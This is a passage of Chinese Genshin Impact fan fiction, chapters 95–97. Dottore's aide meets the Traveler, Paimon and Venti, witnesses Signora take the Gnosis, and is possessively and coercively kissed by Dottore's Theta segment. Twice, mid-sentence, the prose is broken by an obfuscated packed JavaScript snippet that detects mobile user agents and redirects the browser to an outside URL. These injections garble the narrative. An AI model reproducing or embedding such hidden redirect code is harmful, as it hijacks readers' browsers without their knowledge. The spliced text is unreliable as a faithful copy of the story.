我故意隐去其中的一些细节。如我所料,透露出“与迪卢克认识”的消息后,旅行者对我的态度也软化了很多,像是仅凭借这点就断定了我的身份是好人。 我在心中稍微有些咂舌,除去过往无数次因为多托雷的存在被厌恶恐惧的时候,这还是我第一次因为认识过一个人而被新认识的人付以信任。 派蒙飘到旅行者耳边,以并不小声的声音对旅行者耳语。 “旅行者,他看起来,好像不是坏人啊,要不然我们就答应吧。” 旅行者:“……派蒙只是想喝苹果酿吧。” 派蒙抗议:“那可是免费的苹果酿!” 我在旁边继续添柴加火。 “两位大人如果愿意赏脸的话,听说猎鹿人的蒙德菜做的最好,在去酒馆之前,我们可以在那里吃一顿晚饭。” 派蒙:“!好耶!我要吃甜甜花酿鸡,堆高高,和蜜酱胡萝卜煎肉!” “当然可以,派蒙大人想吃什么都能点。”我转头看向旅行者。 “那么,尊敬的旅行者大人觉得呢?” 旅行者看了一眼已经完全掩饰不住脸上向往神色的派蒙,又看了一眼委托单。 旅行者叹了口气:“好吧。不过在此之前,我需要先把委托完成。明天可以吗?” 我在心中盘算了一下最近的任务安排。 “没有问题。” 我与异世的旅者做下约定。 “那么,明天下午五点,我们在猎鹿人见。希望您的委托顺利。” 在派蒙最后挥手的“明天见”的告别中,我目送着这对组合出城,脸上一直维持着最完美弧度的笑容在旅行者离开后消失。 我看了一眼周围的环境,将后肩的兜帽拎出来再戴上,沿着一条人少的路离开。 我的心情有些激动,脑海中一遍又一遍地复盘着刚才与旅行者接触的一切。 毫无疑问,接触旅行者这件事绝不是什么明智之举,尤其是,无时不刻不处于多托雷监控状态下,一丝一毫的异动都会被拷问的我。 但是,我想起刚才见到旅行者的第一眼,体内能量的莫名悸动。 如同遇到阳光的积雪,开始融化沸腾。 那位旅行者的身上,有着极其特殊的力量——我可以确认,并产生莫名的直觉。 我不应该错过这次机会。 直到出城后回到愚人众的驻扎地,那让心跳无限加速的紧张和兴奋也没有停止消退。甚至一路上路过许多人被打招呼的时候也分不出精力回复。 我平时从不至于做出这么失礼的事情。 轻车熟路地来到实验室门前,动作放轻地打开门走进去。 多托雷正在向身边的人吩咐着什么,大概是实验内容的一些任务,在领完任务后,那些研究员都会识趣地离开,将实验室留给多托雷。 现在,还要再添一个我。 多托雷从实验报告里分出精神,视线隔着尖喙的面具在我的身上扫荡了一遍。 他轻笑一声。 “看来在外面玩得很高兴,进来连帽子也不记得摘。和新朋友认识的如何?” 95.第 95 章 一瞬间,我甚至以为多托雷是在问责。心脏的搏动因此停跳了一下。 但我很快安定下来。 平稳地走向多托雷的方向,在靠近之后又走近了一些,直到多托雷可以轻而易举地触碰到我。 不……多托雷没有理由,至少是从我知道的部分来看,多托雷没有必要这样做。 就算是我和达达利亚当初的认识,多托雷也没有阻拦不是吗? 像是没意识到多托雷的试探一样。 我抬头:“遇到了一个很特殊的人。主人您提及过的那位异邦人,竟然出现在了蒙德城。” “哦?”多托雷的语气轻微上扬,“你对他很感兴趣?” “来自异世的旅者身上确实有着足够吸引人注意力的特质……” 我感受到多托雷的视线微微下移。 于是我向多托雷的方向更为靠近,让自己成为一个几乎要被男人高大的身形完全笼罩住的模样。 如同完全信赖的轻语,我接上上半句话。 “不过,感觉靠近那位的话会引来很多麻烦的样子,相比起那位旅者,倒是她身边的那只小精灵更可爱。我还从未在提瓦特见过那样的生物。” 多托雷发出一声低笑。 “呵呵,愚昧之人信仰神之灵知与力量,甚至不曾知晓在神之力无法企及之外的可怕所在。” 多托雷伸手轻搭在我的肩膀上,另一只手则是贴着我的一侧发丝将头上的帽子撤到后面。等做完这些,多托雷似乎满意了许多,他温和地将我颊边的头发顺到耳后,完完全全露出那只耳坠。 原本被半遮掩在发丝下的耳朵变得凉丝丝的,多托雷像是对待宠物一般抚摸玩弄着,似乎从我乖巧任凭动作的态度中也能获取一些满意。 “难得你会对生论派的研究方向感兴趣。不过,那个小东西的确有着研究的价值。既然感兴趣,就任由你自己做主吧。” “多谢主人。” 我如此回答着,心里稍微松了口气。 无论多托雷是否真的完全信了我“对从未见过的生物感起兴趣”这个理由,总之,多托雷并没有禁止我接近旅行者的意思,又或者是我足够乖巧顺从的态度取悦了多托雷,让他稍微愿意对我放开一点辖制。 说起我和那位旅行者的“约定”,其实到最后也并没能成功实现,因为一些突起的风波,那位旅行者不得不推迟我们的约定。 从愚人众那边的消息来看,似乎是之前在蒙德城掀起过灾难的风魔龙再一次出现在了蒙德的某个地方,只不过这次是在野外。西风骑士团很重视这件事,大概也是因为不久前愚人众才用风魔龙的事情向蒙德城施过压。 那位西风骑士团的代理团长似乎准备集结小队解决这件事,作为荣誉骑士的旅行者也在被邀请之列。 于是等我到达猎鹿人的时候,只收到了老板代为传达的旅行者的歉意。 “旅行者说过,如果还有机会的话,等到之后事情结束会再与您相约。以及,您这次在猎鹿人的消费,旅行者也说过会由她支付。” “这样……”我笑了笑,看向猎鹿人的老板。 “不用了,毕竟本来该是我请客才对。如果您有看见那位旅行者的话,请替我转告:‘我会在歌德大酒店附近等候她来找我’。” “好的。” 从猎鹿人餐厅离开,我便没有再在蒙德城逗留的打算。 如今明面上的愚人众都是【女士】一派的,而多托雷来蒙德城的消息,为了引起不必要的恐慌,暂时是完全处于保密状态。这一点,从多托雷来到蒙德后一直驻扎在城外的基地这一点也可以得见。 不过,倒也很难说我最近出现在蒙德城的行动没有引起西风骑士团的警戒是不是更多的因为骑士团因为风魔龙的事情正忙得焦头烂额没空理我。 顺手将帽子戴上。 相比于会被人认为是奇装异服的打扮,到底还是比顶着一张以“执行官副官”身份出现过的脸来的保险一点。 我边走边从兜帽下捞出一缕金色的头发,有些发愁这显眼的发色。 如果要让自己没那么显眼的话,是不是应该考虑换一个发色?比如黑色,或者棕色? 不过想来多托雷应该不会同意。 我在脑海里默默划掉这个选项。 我本以为至少在旅行者帮助蒙德解决风魔龙的危机之前,我大概都会被迫处于一种闲的没事干的状态。 毕竟多托雷也不能指望我在研究上提出任何富有建树和颇具建地的建议。 尽管不久之前多托雷还对我临时编出来的理由肯定了一句我意图跨学科进军生论派观察研究派蒙的想法,但明眼人都看得出来,那不过是多托雷纵容的随口一句,大概连敷衍也算不上。 若我真的是和多托雷学术相关的关系的话,估计就算是现在能够对我稍微容忍的多托雷也会忍不住要大骂我是“学术研究界的残羹剩饭,活该进泔水池的存在”吧。 当然,多托雷同意我接近旅行者大抵是因为他对这位世界之外的客人同样保留着好奇心。同理,或许也该算上旅行者身边的派蒙。 同时,还有对“暂时完全处于掌控之中的我”绝对控制的自信。 这自然是毫无谬误的,对于没有必要改变的现居,在缺乏必要推动力的前提下,“改变现状”在我看来是一件十分愚蠢的事情。而我现在处于多托雷身边的生活,并没有让我觉得“不得不做出改变”,或者是“再不做出改变就会走向灭亡”。 自然,关于遗忘的记忆,我已感受到寻找恢复记忆的途径的紧迫,但从目前的状况来看,我所能求助之人,除多托雷之外,又有谁呢? 或许会有那位旅行者。 从见到那位旅行者时所感受到的体内的神秘能量沸腾开始,一直盘亘在我的心间的直觉,迫使我做出不理智的行为主动接近那位旅行者的初衷。 而这一点猜想,也在旅行者帮助蒙德彻底解决风魔龙的危机后得到了一些证实。 被深渊力量侵蚀的风魔龙在旅行者到来之后,仅仅几日便被完美解决。 我后来得知西风骑士团以“风魔龙的问题已经解决,无需愚人众的力量介入蒙德管理”拒绝了愚人众的参赞提议,甚至,以发现的愚人众在蒙德境内未经官方允许进入秘境为由准备向愚人众发出刁难。 或许,该换一个词。 对反派的华丽反制。即使是嚣张的愚人众,也对此感到棘手。 再一次见到旅行者,是在那日之后又好几天过去。因为一些工作事务被请求在歌德大酒店进行商议。 【女士】的愚人众部下现下正驻扎在歌德大酒店,那一块正在被禁止其他人入住。 因为到的时间稍微早了一点所以决定绕一点远路消耗一下时间。 以我的身份,太早到会被认为是不符身份,而太晚到又难免落人口舌,让对方感到不快,所以进行这些面谈的时候我都会掐准点到达。 往日倒从没有一次不是准点到场。大概是最近悠闲度日的时日过得久了,竟然对习以为常的工作习惯都生了点手感。 从西风教堂附近经过,在拐角处我突然看见一道绿色的身影从教堂里面跑出来。 那应该是一名少年,吟游诗人的打扮,头上的帽子别着一支塞西莉亚花。 那少年匆匆忙忙地从教堂里跑出来,下一刻,我感受到冰雪的力量裹挟而来,余光看到熟悉的身影,脚下一顿,下意识后移一步掩住自己的存在。 那冰雪冻结了少年的双腿,我看到【女士】姿态优雅地走出来,竟然是嚣张到在蒙德的地标教堂前光天化日之下对蒙德民众实行了暴力措施。 即使我也是愚人众的一份子,还是在名声最差的多托雷手底下干活,看到这一幕还是有点想吐槽。 我听到旅行者的声音。 旅行者正焦急地喊着:“温迪!放开温迪,你们要干什么?”但很快被士兵制服住。 我听到【女士】那显得高高在上而又轻蔑的声音。 “无聊的戏码也该结束了,到处乱窜,惹是生非的仓鼠,是时候被关进笼子才是。” “惹事的家伙,是说你们自己吗?” 这是那少年的声音。 “呵,油嘴滑舌的吟游诗人……放弃统御蒙德的神明,连力量也衰弱到这样可笑的地步。” “你嘲讽我的资本,就是从你主人那里借来的力量吗?” “哈。” 【女士】冷笑了一声,脸上的表情都出现了一丝僵硬。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229116|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手给了少年一巴掌,随后,聚集着力量探入少年的胸口,少年痛呼一声,跪倒在地,而【女士】的手里,则多出来一只如同棋子一般的东西。 “这就是,‘神之心’?”【女士】打量着,“哼,远远比不上我珍藏的精美棋具。” 旅行者:“温迪!” 少年挣扎着出声:“大概,是你的品味真的很差吧……” 【女士】将棋子一样的东西握紧在手里,转身将少年一脚踢远。 在【女士】的授意下,士兵将旅行者打晕,在【女士】“赶快撤离,不要给骑士团留下把柄”的命令下迅速撤离。 直到确定愚人众的人全部离开,我才从角落里走出来。 我本以为少年和旅行者都晕了过去,却没想到在我蹲下查看旅行者情况的时候,地上的少年坐起来。 “你要干什么?”温迪看着我。 我看着这位名为“温迪”的少年。想起知道的一些情报,以及刚才【女士】取出的神之心。 蒙德的风之神巴巴托斯,自由之神,在如今的七神之中年龄已属相当古老的那一批,只不过却极少出现。 就如【女士】所言,风之神是放弃统御蒙德的神明。 “如您所见,我只是一位恰好路过,并且认识旅行者的路人而已。我只是想要确定旅行者身体无碍而已。” 我打量一下这位神明:“您看起来很虚弱,需要我替您叫来牧师吗?” 我没打算从这位神明之处得到回应,也并没有能够在一位神明之前掩饰自己身份的打算。 不过,出乎意料的是,少年答应了。 名为温迪的少年像是突然泄气一般地躺在地上。 “你真是个好人,那就麻烦你了。” 我:“……不是,你知道我的身份的,对吧?” “风会传来所有的讯息。它告诉我,你不是坏人。” 少年闭眼,声音轻到如同呢喃。 “……” 我找来了西风教堂的牧师,那位芭芭拉小姐。芭芭拉先检查了温迪的情况,但无论如何使用元素力治疗,都似乎没有任何功效。 看着仍然虚弱的温迪,芭芭拉不解地皱了皱眉。 “这是,怎么回事?我的元素里没有办法治疗你身上的伤势。” 温迪倒没多少意外的表情,只是叹了口气。 “没事,这都是正常情况。” “诶,等等,你要去哪里?你先别走……” 背后传来熟悉的声音。 “算了,芭芭拉,让他离开吧。” 西风骑士团代理团长,琴。 我身体一僵,脖子缩在兜帽里面,心里顿时被没有早点离开的后悔淹没。 现在不是被认出来的好时机。 我的视线在周围寻找着,期望能找到一个适合我马上神不知鬼不觉逃走的方向。 好在,琴的注意力都在旅行者和温迪身上,似乎暂时并未注意到我。 …… 不对。 我皱了皱眉,发现与其说是“暂时忽略我”,琴现在的状态更像是没看见我一样。 我心中一跳,朝着温迪的方向看去,正好看见温迪对我眨了眨眼。 我愣了一下。 “跟我走。” 温迪对我做了个口型。 我反应过来,跟着温迪一起离开了这里。 直到出了城门,确定不会被任何人发现后,我才松了口气。 “感谢您的帮助,这位……” 我看着眼前的神明,一时间有些语塞。 “直接叫我的名字‘温迪’就好。不用谢。” 我张了张嘴,却发现自己实在无法说服自己对一位神明如此不敬地称呼。 即使我自认并不是一个特别敬神的人。 于是我稍作沉默。 “风神大人,我……” “呜哇,原来你是这种一板一眼的个性吗。”温迪夸张地抱着双臂,“明明和旅行者在一起的时候你可不是这个样子,你不会是想区别对待蒙德城最好的吟游诗人吧?” …… 这个家伙,真的是蒙德的风神吗? 有史以来第一次,我对愚人众的情报产生了怀疑。 96.第 96 章 我平复了一下自己的心情。 “您帮我,应该不是为了在这里和我纠结这些东西吧?按照您的身份来说,愚人众刚在蒙德闹了一场,刚才的情况,将我交出去才是最好的选择,不是吗?” “诶——你是在不好意思吗?” “……我不清楚您是如何得到这个想法的。” “那你为什么不直接叫我‘温迪’?” 少年突然凑过来,像风一样。我忍不住后退了一步。 “看吧,就是这个样子。”温迪摊手,“你似乎对我有点害怕,但我明明没对你做任何事。” “……对一国的神明持有敬畏之心不是很正常的一件事吗?” “但你分明不是这样的人不是吗?” 少年形体的神明露出笑容:“我从你的身上感受不到对神明的敬仰。身为愚人众,你似乎并不追随冰神,而你的气息,虽然本源是须弥的味道,却也没有对草神的信仰。” 我紧了紧手指,掌心变得湿热而滑腻。 直到此刻,亲自面对一位神明的一刻,被完全看透,无所遁形,如此的感觉,令我感到恐慌。 与面对多托雷时有时会出现的恐慌完全不同。 即使面前的这位神明表现得如此友善,又如此亲近,我也只想要迫切地赶紧逃离。 “不用紧张,我只是,想拜托你一件事而已。” 我听见温迪如此的话语。 “神明,也会需要我的帮助吗……” …… 蒙德的风之神,我对其最早的印象来自于【女士】。 愤恨自己国家神明的火之魔女,那怒火绵绵不绝地烧了五百年,直到现在。 我大概在愚人众中也算得上是【女士】身边极亲近的人了,但那段遭遇,我也从未从【女士】身上听说。 所知道的一切,不过是寥寥的一些细小情报。 我对这位风之神的立场和行为无甚可说的。若是真的要扯上【女士】那一边的关系,大概我对这位神明的态度也会偏向于负面一点。 无作为的神明。 大抵如此。 不过,就如那些提瓦特所有的人,无论有无神之眼,无论是耄耋老人还是幼龄的稚童都所知晓的那样,风之神巴巴托斯,七神中最早的那批古老的神明,在此世间大抵也已行走了数千余年的岁月。 我对其的看法,无论是正向的,亦或者是负向的,都没有任何意义。 只不过,那位神明所提及的事情。 在返回的途中,我一直思考着方才温迪所说之事,心中不免感到有些郁郁。 直到想起来还要去歌德大酒店办的事情,又要急着前往,结果在酒店的门口,反而看见了一个熟悉的人。 那紧束着束缚带的,肩上覆有金属鸟头样具的人影,在转身的时候,身侧的蓝色长坠轻轻摇晃着。 那人的眼神瞬间锁定着我,在落下的一瞬间,尖喙下的嘴角轻轻弯起。 “许久不见,塔德纳。” 我愣了一下。 “Theta……大人?” 高大的身影几步靠近我,熟辗地摘下我的帽子,一缕金色的头发落到Theta的手里。 被黑色的手套裹缚得紧致的手指碾动,明明没有接触到任何皮肤,但因着那如有实体的视线,我无端生出一种被在如此光天化日之下揉捏亵玩的燥感。 “等等……Theta大人……”我有些慌张。 但拒绝的话语还没说出就已经被完全阻断。 “我说过,我不想听到这样的称呼。塔德纳。”Theta犹如长叹。 我抿了抿唇,纠结了几秒终究还是抵不过面前人的压迫,轻声叫出那个称呼。 “主人……” “主人,您怎么会来蒙德?” “你看起来很惊讶?啊,看上去还有点不乐意。” Theta笑出声。 他的话语中并无多少与刚才的不同,但那笑却让我生出一点凉意。 “不……”我想要辩解。 “不用解释,塔德纳。‘本体’所做的决定,想必也让你感到相当为难。和‘本体’不同,我不会以此迁怒于你。” Theta一如既往地温柔而包容。 于是那如同鬼魅出现的凉又消失了。我在心中不禁有些责怪自己刚才的错想。 “先回答你的问题吧。”Theta轻笑,“我来蒙德自然是‘本体’的邀约。‘本体’打算在蒙德做一些事,不过,‘本体’信不过其他的切片,最后挑挑拣拣,如今有空闲,又不会没有眼力见的切片,大概‘本体’也只能想到我了。” “那家伙可能是抽了风,左右脑互搏,连‘自己’也开始信不过。呵……”Theta的语气又变得冷了,“当然,如果他还有‘大脑’这种东西的话。” …… 倒是难得见Theta切片会对多托雷有这么大的不满。 我不敢多想,甚至恨不得当场立马失忆装作从来没有听过这段话。 不过很显然,现在的我只能僵硬地苦笑一下应付过去。 “至于,我来此协助‘本体’的计划……” “塔德纳!”身后传来派蒙的声音。 “塔德纳,我们本来准备之后去找你来着,没想到你会在这里。” 我僵了一下,下意识地远离Theta切片,头发从Theta手中被我强硬着抽离的时候,头皮泛起一阵痛。 但我此刻已经没有心情纠结这点疼了,在看到旅行者和派蒙的时候,我不可否认的是,我的心中最开始出现的念头竟然是: 糟糕了,要被发现身份了! 被发现是愚人众,是在蒙德为非作歹的狂徒中的一员,是—— 伤害了她们朋友的恶人的同伙。 如同戏法不过关的小丑,在剧场最中间的台幕被揭穿潦草的手法,被斥责着丢下台去。 大脑一片空白的时候,我感受到身后传来的推力。 Theta切片亲昵地搂着我的腰,带着我走过去。 “是你的朋友?塔德纳,你还没向我介绍过你认识的新朋友呢。” 派蒙好奇地看着眼前的男人:“你也认识塔德纳?” “这句话,或许应该是我问你才对。”Theta愉悦地笑起来,环绕在我腰间的手掌收紧。 “如你们所见,我是塔德纳的爱人。你们可以称呼我为……” 我:“!” 我吓得跳起来,在连自己都没反应过来的顷刻间从Theta手里扭身逃走,然后极为大不敬地抓住Theta的头发让那颗发出可恶声音的头低下来,飞快地捂住嘴。 派蒙:“??!你说你是什么?” 旅行者看了看我,又看了看Theta切片,和一副别扭着动作迁就着我的Theta对上视线。 旅行者一副见了鬼的样子。 我突然感觉到一股绝望之情油然而生。 “等等等等,派蒙有些晕了。你是说,你是塔德纳的,呃……”派蒙纠结地看向Theta切片,艰难地吐出那个词,“爱人?是这样吗?” Theta切片维持着弯腰被捂嘴的姿势,优雅地“嗯”了一声。 见鬼的,这家伙到底是怎么在这么狼狈的姿势下还有能力不掉逼格的? “那,那为什么塔德纳要,要……” 派蒙欲言又止地看着我捂嘴Theta切片的手。 我:“……” 手下的Theta切片接收到我的视线,歪了歪头。 我僵硬地松开手。 Theta又得以回归他那副人模人样的样子了。 他整理了一下刚才动作间被有些蹭乱的衣领。 “塔德纳只是害羞了而已。”他笑着回答派蒙道,“他不太喜欢我和他一起出现在外人面前。” 旅行者看我的眼神变得复杂了些许。 派蒙有些呆滞:“哦哦……啊?!” 我扯了扯Theta的手臂,带了点警告的意思。 “我没有!您不要瞎……误导别人。” “可是你之前还因为他对我疏远,我被你冷落了好几个月,好不容易来蒙德见到你,你却连我们之间的关系都不愿意承认。” “‘他’?!什么‘他’?哪个‘他’?怎么还有其他人的事儿?” 旅行者的眼神更复杂了,她以一种谴责的目光抱着手臂看我。 我像是被夹在火上一样,左右翻滚都是火烧,躲不开。 我听见Theta低笑了一声。 这个家伙的恶趣味…… 我扶了扶额:“旅行者大人,派蒙大人,还请听我解释。主……大人刚刚只是在与你们开玩笑而已,还请两位不要放在心上。” “‘大人’?所以你们到底是什么关系?” 这次我抢在Theta切片之前开口定论:“是上司,大人只是我的上司而已,这次来蒙德,也是因为工作上的事情。” “这样。”派蒙半信半疑地点了点头,看起来还是不太相信。 旅行者忍不住开口:“完全不太对吧。辜负别人的感情可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241127|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会运气变差的啊塔德纳!” 一种看着乖孩子误入歧途的心痛既视感。 “比如开宝箱发现里面全是卷心菜和苹果,费尽力气重开四五把的挑战只拿到了两原石的普通宝箱,传送到锚点的下一秒就被跑出来的野猪撞到,这样倒霉的事情,还会有很多啊!” 我:“……” 那真是……很有威慑了。 所以,原来旅行者也有辜负其他人的感情吗?! 废了一番力气才将这个闹剧解决,好不容易才说服了旅行者相信我没有什么负心汉之类的奇怪人设。 至于和Theta切片是爱人之类的,比起差点被认为是玩弄感情的人渣,这个名头反而算不上什么了。 等旅行者和派蒙说好“下次再见”,结伴离开的时候,我才如释重负地松了口气。 “塔德纳新交的朋友,很有趣呢。” 我忍不住瞪了Theta一眼:“这么轻飘飘地就抹过去了吗,Theta大人把事情搅得一团乱糟,还害得我被旅行者大人怀疑……” 后颈突然被捏了一下。 Theta提醒:“称呼。塔德纳。” 我抖了抖,那刚才支撑着我得意忘形的力量又顷刻消失了。 “主人。” “呵呵。”Theta就像只是随口如此提了一嘴一般,温柔而随意地抚着我后颈上的软肉。 他看了看我,不知道为何,又突然伸手将我的帽子戴回去。 我有些疑惑。 “主人?” “塔德纳在蒙德认识的朋友太多,看来果然还是得戴上帽子,这样就不会被别人认出来了。”Theta切片道,“走吧,室外不宜议事,回歌德大酒店吧。” 我有些犹豫。 Theta停下脚步看我。 “怎么?不是想知道我来蒙德的原因吗?” 我抿了抿唇,手指纠结地拧着裤缝。 Theta只是保持着笑意,等待着我。 “不用犹豫,塔德纳。‘本体’不愿意告诉你的事情,你都可以在我这里得到答案。我永远不会隐瞒你想要得知的事情。来吧。” 他向我伸出手。 我最终还是握上了那只手。 被Theta切片的力量牵引着走进建筑的时候,我的脑海里忍不住想起多托雷。 这下糟糕了…… 不会真的变成旅行者所说的“辜负别人的感情”的人了吧?! 歌德大酒店如今已经成了愚人众在蒙德城的驻点,所以走进来的时候,许多愚人众士兵都认出了Theta的身份,不敢造次,只是站在两侧让出道行礼。 我甚至没能感受到任何敢于僭越抬头的视线。 直到上了电梯,看着电梯上的数字缓缓变化,Theta才松开我的手。 他没有开口,我也不敢先出声,于是我们之间维持了一段时间的沉默。 直到“叮”的一声,电梯到达楼层,脚下在轻微的失重感后停止,门缓缓打开。 Theta切片走出去,向我伸手。 “塔德纳。” 我走出去。 “主人……” 身体被一下子拉过去,Theta将我揉进怀里,掐着我的下颌让我抬头,低头含着我的唇闯进来。 他的舌在我的口腔里搜刮着,并不会进得很深,却是每一处角落都不放过,细细地舔过每一丝,然后缠上我的舌头,纠缠起来。 身体在被闯入的一瞬间就丧失了力气,被教成乖顺模样的身体可比支配着身体的意识更对多托雷的身体知趣,如同食髓知味,酥酥麻麻,让人晕的使不上力气。 Theta切片亲够了,从里面退出来,咬着我戴耳坠的那只耳朵。 “真想把你……死在这里。” 中间那个字放得极轻,但我却听了个真确。 身体在听到这句话的时候没骨气地彻底软了。 我有点想哭,抓着Theta切片的胸口喘气。 “主人,不要在这里……不要,这里……” 如同反派做坏事的时候都会被正义的一方抓包一样,我听到熟悉的声音从走廊的另一边传来。 “你们,就非得在这里做这种事吗?” 我看到【女士】不满地看着Theta切片的眼神,羞愤欲死,想要推开Theta切片却被他伸手狠狠地按住。 Theta叹了口气。 “你吓到塔德纳了。你知道的,塔德纳胆子很小。” 【女士】的表情狰狞了一瞬。 97.第 97 章 但【女士】最终还是维持住了自己的表情。 “【博士】?你不是应该在城外的实验室吗?不,”【女士】顿了一下,“你看起来似乎和之前有些不太一样。” “我和他很像吗?”Theta突然如此问道。 “哈……什么意思?你是在问我?” 我感受到Theta身上的气息沉冷了一些,硬是要形容的话,就像是突然生气了一样。 那点冷意隐藏地极深,也消逝地很快,即使是在Theta身边最近的我,也恍然觉得那像是一阵幻觉一般。 Theta很快恢复了正常。 “不,当我没有问过这个问题吧。我早就知道的,我早该知道的,除了塔德纳……” Theta之后的咬字过于模糊,也过于轻。 【女士】皱了皱眉:“你不是之前来蒙德的【博士】?怎么回事,【博士】从来没和我商量过还会有另外的‘他’来蒙德。” 气氛开始变得有些糟糕。 我不清楚为什么Theta切片好像突然变得有些失控,但现在对我而言更重要的是赶紧安抚现在的状况。 我从Theta切片的怀里挣脱出来,Theta反射地收紧力气想要让我待在原地,我拍了拍Theta切片的手臂,然后伸手将自己的手掌与Theta的相合。 Theta稍微冷静下来一点。 我对Theta露出一个笑容,带着一点安抚。 随即就这样保持着握住的姿态转头向【女士】。 “抱歉,【女士】大人。因为时间紧急没来得及向您禀报这件事情,是我作为副官的工作疏忽。我会尽快将情况与您对接的,还请您放心,主人并没有打搅您在蒙德行动的意思。” 【女士】的神色缓和了一点。 “不,我并不是说这点。反正女皇的任务我也早已经完成了,很快就会返回至冬,之后无论蒙德发生什么事都不在我该思考的范围之内了。” “我对你出现在蒙德的目的不感兴趣,你当然也可以继续保持你那一贯的‘神秘人’风格。不过,仅是出于我个人的观点和立场的话,我会更想要提醒塔德纳一句话——‘小心点’。” “你认为我会伤到塔德纳?” “难道不是吗?我的怀疑合情合理,你,或者说你们,一贯的行事风格就是如此。” “当然当然,”Theta突兀地笑起来,“你的怀疑自然也并非毫无道理。我的那些‘同位体’,偶尔的手段即使是我也不敢再多苟同。这其中也包括‘本体’,自然。” Theta的反应出乎意料。 这其中自然包括【女士】。【女士】有些不定地打量了Theta一眼。 “看来,你和其他的那些【博士】不太相同。” 不知道是哪里戳中了Theta的好点,Theta似乎一下子变得轻快了很多。这包括面对【女士】时的态度。 “难得正确的言论。我要开始思考‘他们’对你的评价了。”Theta说道。 【女士】:“……傲慢自大的家伙。” 这场执行官之间短暂的会晤就这样突然地结束。 直到【女士】不算高兴地从我的身边走过,我被身边的Theta拽了一下。 “主人?”我不确定地叫了一声。 “除我之外的人,都没有必要理会。” “什么……” 我的身体在被拉拽后失去了平衡,在倒地之前被Theta又捞回怀里,成了那个别扭的样子。 Theta拥着我,双臂的力气大得好像要把中间我的夹碎一般。 我有些喘不过气来。 “等等,主人,我有点喘不过气……” 但话语很快被吞进Theta的嘴里,舌头抵着进去,半丝挣扎的空间都不留给我,远比前一次还要急促。 大脑变得昏昏沉沉的。 我讨厌这种感觉,因为一旦变得昏沉,对周围一切的环境和刺激都会变得迟钝。但每次被拉扯着进入欲望的愉悦里,又都会变成这副我不太喜欢的样子。 但又很奇怪的是,我其实无法抗拒,无法拒绝被这样做。 在要完全昏沉过去的时候,Theta及时停了下来。 他退出来,一缕银丝牵扯出来。Theta用手指抹去,看了眼那水光柔亮的指腹,发出一声笑来。 “真是,可爱的反应。” Theta如此说着,将指腹的湿润抹在我的侧脸上。 我有些嫌弃地皱了皱眉。 Theta的食指稍微弯曲,勾成一个轻微的弧状,指骨在我的额头敲了一下,发出一声脆响。 “把你养得矫情了。” ——明明我一直都是待在多托雷身边。 我刚想要如此回怼一句,但脑海里又很快浮现起刚才Theta在面对【女士】提起多托雷时有些不妙的表情,只能将这样的冲动压抑下来,当成什么都没想过。 理智告诉我,现在在Theta面前提起多托雷绝对不会有好结果。 于是我只能去问:“主人,所以您来蒙德到底是来干什么的?你说过会告诉我的。” “‘告诉’?当然,我当然会告诉你的,塔德纳。” Theta的语气莫名。 我有种不好的预感。 “关于我此次被叫来蒙德的目的,或许,你应该从‘本体’那里有所听闻,他关于‘邪眼计划’的部分?” 邪眼…… 计划? “我,我没有……听说过。” “看来‘本体’对你的防备超出了我的预料范围。”Theta有些惊奇地看了我一眼,“真是稀奇,我以为‘本体’只会对‘我们’这样提防。” Theta若有所思:“大概,‘本体’是在担心计划遭到破坏吧。毕竟,这其实并不在一开始的明面计划中。若是要说,只是一次‘演练’,或者说是‘预测’。你应该知道稻妻预计的要‘推广邪眼’的计划。” “是……”我的喉咙有些干涩,大脑像是被一公斤的干稻草给塞满了。 “但是,主人没有说过,在蒙德会有……” “‘本体’在担心你会扰乱计划。这显而易见。” Theta笑起来。他像是一位真正的侦探一样,开始推理。尽管被推理的另一方也同样是‘他’。 Theta摊了摊手:“毕竟,你和西风骑士团的关系似乎好得过头了,加上……” 他的尾指勾搭起我耳垂上的耳坠。 “无论是乐意的,或是不乐意的,私人的,或是公有的,都彻底失去屏障,被曝光,被随意查看。‘本体’对‘我们’防得紧巴巴,即使是‘我们’都是如此,又何谈你和那些人的接触?” “因为你之前接近Alpha切片,‘本体’禁止了Alpha再回到至冬,而Beta切片,在对你的态度上陷入自相矛盾和纠结的境地后,也被‘本体’驱逐。剩下的……” Theta俯身,湿热的气息扫过我的耳廓,激起一阵涟漪。 “就算是‘我’,也被数次警告过。” “Alpha……切片……”我喃喃地低声重复着。 那位少年的切片,代号为Alpha的切片。 我已不知道多久再没见到他了,甚至在Alpha离开后,再也没有思考谈及过。如今再次听到这个代号,甚至觉得有些陌生。 Theta有些幽怨:“有这么喜欢Alpha吗,明明只是一个没有成熟的小鬼。” 他凑近我的脖颈,在上面寻找摩挲着,略尖的牙齿抵在颈侧的血管上跃跃欲试。 “塔德纳,还有我啊。我从‘本体’那里经受的一切,被明令禁止不许主动和你再接触,不能去找你,不能够,对你做出任何□□精神上的改变或者影响……‘本体’那样讨厌‘我们’,我忍着不去违背命令,已经快忍得发疯了。” Theta的纠缠就像是一条冰冷的毒蛇,吐着信子。 即使冰冷,单眼望过去又只觉得湿热,黏糊糊的,黑泥似的缠上来包裹住。 以至于那最后一点透气的孔也被阻塞。 我开始感到窒息,一种迫切想要离开的危机感席卷我。 